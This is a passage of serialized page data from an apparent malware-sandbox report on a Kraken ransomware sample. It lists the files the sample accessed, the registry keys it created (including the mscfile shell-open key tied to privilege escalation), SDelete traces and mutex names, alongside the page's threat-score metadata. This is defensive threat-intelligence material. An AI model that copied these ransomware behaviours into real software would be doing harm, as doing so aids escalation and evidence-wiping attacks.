"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\x3v5LlWcHSgEU.rar","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\x6VWs.rar","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\XQiAhjKVGn.avi","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\xvwDmwjSYSj.txt","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\XYTRIrr4j.gif","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\Y0j4RMf.rar","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\Y1hskgBUYrJFg0zK.gif","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\Y6pGvfMsWHL0xm.rar","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\yPetOc6pYJDfX4.mp3","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\ywR7NfpXdps.jpg","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\ZlT0.rar","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%WINDIR%\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%WINDIR%\\SysWOW64\\PING.EXE","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\ping.exe.mui","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\reg.exe.mui","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\KernelBase.dll.mui","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\cmd.exe.mui","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%ALLUSERSPROFILE%\\release.bat","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"C:\\ProgramData","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%WINDIR%\\SysWOW64\\reg.exe","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%WINDIR%\\SysWOW64\\cmd.exe","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%WINDIR%\\AppPatch\\AppPatch64\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%WINDIR%\\System32\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%APPDATA%\\Microsoft","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%APPDATA%\\Microsoft\\Crypto","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%APPDATA%\\Microsoft\\Crypto\\RSA","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%APPDATA%\\Microsoft\\Crypto\\RSA\\S-1-5-21-686412048-2446563785-1323799475-1001","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%APPDATA%\\Microsoft\\Crypto\\RSA\\S-1-5-21-686412048-2446563785-1323799475-1001\\d153dbf7408b1530cf8d0f0aa640ce7c_6b06490d-f9fd-424c-8b6d-83edc4369e89","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%TEMP%\\SDELTEMP","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLM\\SOFTWARE\\MICROSOFT\\FUSION\\GACCHANGENOTIFICATION\\DEFAULT\\","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"key":"HKCU\\SOFTWARE\\CLASSES\\MSCFILE\\SHELL\\OPEN\\COMMAND\\","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"key":"HKCU\\SOFTWARE\\","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"key":"HKCU\\SOFTWARE\\CLASSES\\","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"key":"HKCU\\MSCFILE\\","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"key":"HKCU\\MSCFILE\\SHELL\\","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"key":"HKCU\\MSCFILE\\SHELL\\OPEN\\","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"key":"HKCU\\MSCFILE\\SHELL\\OPEN\\COMMAND\\","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"key":"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\TRACING\\","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"key":"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\TRACING\\KRAKENTEMP0000_RASAPI32\\","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"key":"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"key":"HKCU\\SOFTWARE\\SYSINTERNALS\\SDELETE\\","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"key":"HKCU\\SOFTWARE\\SYSINTERNALS\\","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Microsoft-Kraken-R8M3Xnn1My","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\.net clr networking","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"Global\\.net clr networking","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"RasPbFile","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"name":"Microsoft-Kraken-R8M3Xnn1My","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]}]}},"report_ids":{"sandbox_job_ids":["5bd9c6ac7ca3e1660a4db445","5bb5f1777ca3e1567c4a1b8d"]}}}]]}] 1d:null 21:[["$","title","0",{"children":"Malicious Ransom.KrakenD.Generic Sample 564154a2e364… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 564154a2e364…. Malware family: Ransom.KrakenD.Generic. Threat score 100/100. 19/25 AV engines flagged this file. 13 malicious and 26 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/564154a2e3647318ca40a5ffa68d06b1bd40b606cae1d15985e3d15097b512cd"}],["$","meta","4",{"property":"og:title","content":"Malicious Ransom.KrakenD.Generic Sample 564154a2e364… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 564154a2e364…. Malware family: Ransom.KrakenD.Generic. Threat score 100/100. 19/25 AV engines flagged this file. 13 malicious and 26 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/564154a2e3647318ca40a5ffa68d06b1bd40b606cae1d15985e3d15097b512cd"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Ransom.KrakenD.Generic Sample 564154a2e364… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 564154a2e364…. Malware family: Ransom.KrakenD.Generic. Threat score 100/100. 19/25 AV engines flagged this file. 13 malicious and 26 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L36","11",{}]]